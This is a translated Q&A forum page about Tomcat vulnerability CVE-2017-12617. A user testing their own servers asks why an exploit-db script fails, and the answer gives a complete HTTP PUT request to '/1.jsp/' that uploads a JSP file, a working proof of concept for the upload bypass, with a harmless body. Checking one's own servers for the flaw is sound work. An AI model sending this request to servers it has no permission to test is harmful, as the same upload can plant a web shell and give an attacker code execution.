【问题标题】:Working Exploit for tomcat vulnerability : JSP Upload Bypass CVE-2017-12617针对 tomcat 漏洞的工作利用:JSP Upload Bypass CVE-2017-12617
【发布时间】:2017-10-27 07:31:52
【问题描述】:

https://lists.apache.org/thread.html/3fd341a604c4e9eab39e7eaabbbac39c30101a022acc11dd09d7ebcb@%3Cannounce.tomcat.apache.org%3E

我有一个在 Windows 上运行的 tomcat 6.x、7.x 和 8.x 以及 Jboss 7.2.x AS 服务器。我在 webapps 目录下创建了一个 Web 应用程序。我修改了 $TOMCAT_HOME/conf/web.xml 并将 readonly 参数设置为 false(默认情况下为 true)。然后,我运行了利用 https://www.exploit-db.com/exploits/42966/ ——这是一个尝试使用 HTTP PUT 上传有效负载的 python 脚本。 我运行了以下命令行:
python 42966.py -u http://localhost:9292/ExploitTest

我得到了一个
1) 来自 tomcat 8.0.x 的 Http 404 状态(找不到资源),
2) 来自 tomcat 6.x 和
的 Http 400 状态(错误请求) 3) 来自 tomcat 7.x 的 Http 400 状态。

我原以为运行上述 python 漏洞会在 tomcat 服务器中导致 HTTP 201(新创建的资源)。漏洞利用有什么问题?或者我没有为这个漏洞正确设置tomcat?是否有基于 curl 或 java 或任何其他有效利用此漏洞的漏洞,我可以使用它来验证我的服务器是否确实存在漏洞?

【问题讨论】:

    标签: security tomcat exploit


    【解决方案1】:

    https://www.peew.pw/blog/2017/10/9/new-vulnerability-same-old-tomcat-cve-2017-12615 上找到了答案。原来,请求是https://bz.apache.org/bugzilla/show_bug.cgi?id=61542

    我使用 Burp Suite 根据上述链接制作 POC 请求

    PUT /1.jsp/ HTTP/1.1
    Host: 192.168.3.103:8080
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
    Referer: http://192.168.3.103:8080/examples/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2
    Cookie: JSESSIONID=A27674F21B3308B4D893205FD2E2BF94
    Connection: close
    Content-Length: 26
    
    <% out.println("hello");%>
    

    这就是诀窍!

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 2022-10-21
      • 2017-01-26
      • 1970-01-01
      • 2022-01-23
      • 2020-07-15
      • 1970-01-01
      相关资源
      最近更新 更多